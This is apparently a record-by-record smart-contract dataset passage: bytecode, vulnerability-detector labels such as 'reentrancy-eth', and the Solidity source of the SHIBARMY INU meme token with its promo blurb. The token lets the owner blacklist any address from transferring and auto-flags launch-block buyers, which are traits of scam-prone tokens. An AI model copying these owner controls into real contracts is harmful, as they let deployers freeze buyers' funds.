05080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fb130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16695e1d61b13ea265f4180061143a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f91906128c6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c991906128c6565b6040518363ffffffff1660e01b81526004016110e6929190612d89565b602060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113891906128c6565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c130610a05565b6000806111cc610c62565b426040518863ffffffff1660e01b81526004016111ee96959493929190612ddb565b6060604051808303818588803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612a72565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506901e1de1d251785e83000600f819055506903c3bc3a4a2f476b2a006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611355929190612db2565b602060405180830381600087803b15801561136f57600080fd5b505af1158015611383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a79190612a20565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612ed9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f89190612ff9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc90612e79565b60405180910390fd5b60008111611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612f59565b60405180910390fd5b6000600a81905550600c600b81905550611740610c62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ae575061177e610c62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118575750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561190b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119795750600e60179054906101000a900460ff165b15611ab757600f548111156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90612e99565b60405180910390fd5b601054816119d084610a05565b6119da919061312f565b1115611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1290612f99565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b601e42611a73919061312f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b625750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bce576002600a81905550600c600b819055505b6000611bd930610a05565b9050600e60159054906101000a900460ff16158015611c465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5e5750600e60169054906101000a900460ff165b15611c8657611c6c81611e9b565b60004790506000811115611c8457611c8347611dc1565b5b505b505b611c93838383612195565b505050565b6000838311158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd79190612e57565b60405180910390fd5b5060008385611cef9190613210565b9050809150509392505050565b600080831415611d0f5760009050611d71565b60008284611d1d91906131b6565b9050828482611d2c9190613185565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612f19565b60405180910390fd5b809150505b92915050565b6000611db983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e29573d6000803e3d6000fd5b5050565b6000600854821115611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612eb9565b60405180910390fd5b6000611e7e612208565b9050611e938184611d7790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f275781602001602082028036833780820191505090505b5090503081600081518110611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200757600080fd5b505afa15801561201b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203f91906128c6565b81600181518110612079577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461143a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612144959493929190613014565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121a0838383612233565b505050565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e57565b60405180910390fd5b50600083856121fb9190613185565b9050809150509392505050565b60008060006122156123fe565b9150915061222c8183611d7790919063ffffffff16565b9250505090565b60008060008060008061224587612463565b9550955095509550955095506122a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238481612573565b61238e8483612630565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123eb9190612ff9565b60405180910390a3505050505050505050565b600080600060085490506000695e1d61b13ea265f418009050612436695e1d61b13ea265f41800600854611d7790919063ffffffff16565b82101561245657600854695e1d61b13ea265f4180093509350505061245f565b81819350935050505b9091565b60008060008060008060008060006124808a600a54600b5461266a565b9250925092506000612490612208565b905060008060006124a38e878787612700565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c98565b905092915050565b6000808284612524919061312f565b905083811015612569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256090612ef9565b60405180910390fd5b8091505092915050565b600061257d612208565b905060006125948284611cfc90919063ffffffff16565b90506125e881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612645826008546124cb90919063ffffffff16565b6008819055506126608160095461251590919063ffffffff16565b6009819055505050565b6000806000806126966064612688888a611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126c060646126b2888b611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126e9826126db858c6124cb90919063ffffffff16565b6124cb90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127198589611cfc90919063ffffffff16565b905060006127308689611cfc90919063ffffffff16565b905060006127478789611cfc90919063ffffffff16565b905060006127708261276285876124cb90919063ffffffff16565b6124cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279c612797846130ae565b613089565b905080838252602082019050828560208602820111156127bb57600080fd5b60005b858110156127eb57816127d188826127f5565b8452602084019350602083019250506001810190506127be565b5050509392505050565b600081359050612804816136ec565b92915050565b600081519050612819816136ec565b92915050565b600082601f83011261283057600080fd5b8135612840848260208601612789565b91505092915050565b60008135905061285881613703565b92915050565b60008151905061286d81613703565b92915050565b6000813590506128828161371a565b92915050565b6000815190506128978161371a565b92915050565b6000602082840312156128af57600080fd5b60006128bd848285016127f5565b91505092915050565b6000602082840312156128d857600080fd5b60006128e68482850161280a565b91505092915050565b6000806040838503121561290257600080fd5b6000612910858286016127f5565b9250506020612921858286016127f5565b9150509250929050565b60008060006060848603121561294057600080fd5b600061294e868287016127f5565b935050602061295f868287016127f5565b925050604061297086828701612873565b9150509250925092565b6000806040838503121561298d57600080fd5b600061299b858286016127f5565b92505060206129ac85828601612873565b9150509250929050565b6000602082840312156129c857600080fd5b600082013567ffffffffffffffff8111156129e257600080fd5b6129ee8482850161281f565b91505092915050565b600060208284031215612a0957600080fd5b6000612a1784828501612849565b91505092915050565b600060208284031215612a3257600080fd5b6000612a408482850161285e565b91505092915050565b600060208284031215612a5b57600080fd5b6000612a6984828501612873565b91505092915050565b600080600060608486031215612a8757600080fd5b6000612a9586828701612888565b9350506020612aa686828701612888565b9250506040612ab786828701612888565b9150509250925092565b6000612acd8383612ad9565b60208301905092915050565b612ae281613244565b82525050565b612af181613244565b82525050565b6000612b02826130ea565b612b0c818561310d565b9350612b17836130da565b8060005b83811015612b48578151612b2f8882612ac1565b9750612b3a83613100565b925050600181019050612b1b565b5085935050505092915050565b612b5e81613256565b82525050565b612b6d81613299565b82525050565b6000612b7e826130f5565b612b88818561311e565b9350612b988185602086016132ab565b612ba1816133e5565b840191505092915050565b6000612bb960238361311e565b9150612bc4826133f6565b604082019050919050565b6000612bdc60198361311e565b9150612be782613445565b602082019050919050565b6000612bff602a8361311e565b9150612c0a8261346e565b604082019050919050565b6000612c2260228361311e565b9150612c2d826134bd565b604082019050919050565b6000612c45601b8361311e565b9150612c508261350c565b602082019050919050565b6000612c6860218361311e565b9150612c7382613535565b604082019050919050565b6000612c8b60208361311e565b9150612c9682613584565b602082019050919050565b6000612cae60298361311e565b9150612cb9826135ad565b604082019050919050565b6000612cd160258361311e565b9150612cdc826135fc565b604082019050919050565b6000612cf4601a8361311e565b9150612cff8261364b565b602082019050919050565b6000612d1760248361311e565b9150612d2282613674565b604082019050919050565b6000612d3a60178361311e565b9150612d45826136c3565b602082019050919050565b612d5981613282565b82525050565b612d688161328c565b82525050565b6000602082019050612d836000830184612ae8565b92915050565b6000604082019050612d9e6000830185612ae8565b612dab6020830184612ae8565b9392505050565b6000604082019050612dc76000830185612ae8565b612dd46020830184612d50565b9392505050565b600060c082019050612df06000830189612ae8565b612dfd6020830188612d50565b612e0a6040830187612b64565b612e176060830186612b64565b612e246080830185612ae8565b612e3160a0830184612d50565b979650505050505050565b6000602082019050612e516000830184612b55565b92915050565b60006020820190508181036000830152612e718184612b73565b905092915050565b60006020820190508181036000830152612e9281612bac565b9050919050565b60006020820190508181036000830152612eb281612bcf565b9050919050565b60006020820190508181036000830152612ed281612bf2565b9050919050565b60006020820190508181036000830152612ef281612c15565b9050919050565b60006020820190508181036000830152612f1281612c38565b9050919050565b60006020820190508181036000830152612f3281612c5b565b9050919050565b60006020820190508181036000830152612f5281612c7e565b9050919050565b60006020820190508181036000830152612f7281612ca1565b9050919050565b60006020820190508181036000830152612f9281612cc4565b9050919050565b60006020820190508181036000830152612fb281612ce7565b9050919050565b60006020820190508181036000830152612fd281612d0a565b9050919050565b60006020820190508181036000830152612ff281612d2d565b9050919050565b600060208201905061300e6000830184612d50565b92915050565b600060a0820190506130296000830188612d50565b6130366020830187612b64565b81810360408301526130488186612af7565b90506130576060830185612ae8565b6130646080830184612d50565b9695505050505050565b60006020820190506130836000830184612d5f565b92915050565b60006130936130a4565b905061309f82826132de565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c9576130c86133b6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313a82613282565b915061314583613282565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317a57613179613358565b5b828201905092915050565b600061319082613282565b915061319b83613282565b9250826131ab576131aa613387565b5b828204905092915050565b60006131c182613282565b91506131cc83613282565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320557613204613358565b5b828202905092915050565b600061321b82613282565b915061322683613282565b92508282101561323957613238613358565b5b828203905092915050565b600061324f82613262565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a482613282565b9050919050565b60005b838110156132c95780820151818401526020810190506132ae565b838111156132d8576000848401525b50505050565b6132e7826133e5565b810181811067ffffffffffffffff82111715613306576133056133b6565b5b80604052505050565b600061331a82613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334d5761334c613358565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136f581613244565b811461370057600080fd5b50565b61370c81613256565b811461371757600080fd5b50565b61372381613282565b811461372e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220247fd8993b8dcb0338258843e3c883fd126f251bd877a1fe862d08fb74a206f464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,506
0xc89a21826c3cc05520b12a45c8f8ea1bb44c16a0
// SPDX-License-Identifier: Unlicensed /* There is war and there's Shiba! Forget about nuclear bomb, forget about the US. Shibaarmy is the real nuclear deterrent to the world and we know it is working. Shibarmy uses their overloaded cuteness to occupy and conquer the world and it is even more powerful than any weapon that mankind has invented. Totalitarianism and imperialism stand no chance in front of the cuteness of Shibarmy. With the current escalated situations and tensions worldwide, the world needs heroes to defend humanity and safety of mankind. With the Shibaarmy project, we hope to establish the resurrection token one has ever witnessed in the degen world! Telegram: https://t.me/shibarmyinu Website: https://shibarmyinu.com */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SHIBARMY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private constant _MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private constant _tTotal = 1e10 * 10**9; uint private constant _decimals = 9; uint256 private _previousteamFee = _teamFee; uint256 private _teamFee = 9; string private constant _symbol = unicode"SHIBARMY"; string private constant _name = unicode"SHIBARMY INU"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0) && to != address(0) ); require(amount > 0); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(3); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 9); _teamFee = fee; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152600c81526b5348494241524d5920494e5560a01b60208201525b6040516101b091906116f1565b60405180910390f35b3480156101c557600080fd5b506101d96101d436600461176b565b61051e565b60405190151581526020016101b0565b3480156101f557600080fd5b50678ac7230489e800005b6040519081526020016101b0565b34801561021a57600080fd5b506101d9610229366004611797565b610535565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046117ee565b61059e565b34801561026e57600080fd5b506101d961027d3660046118b3565b6001600160a01b031660009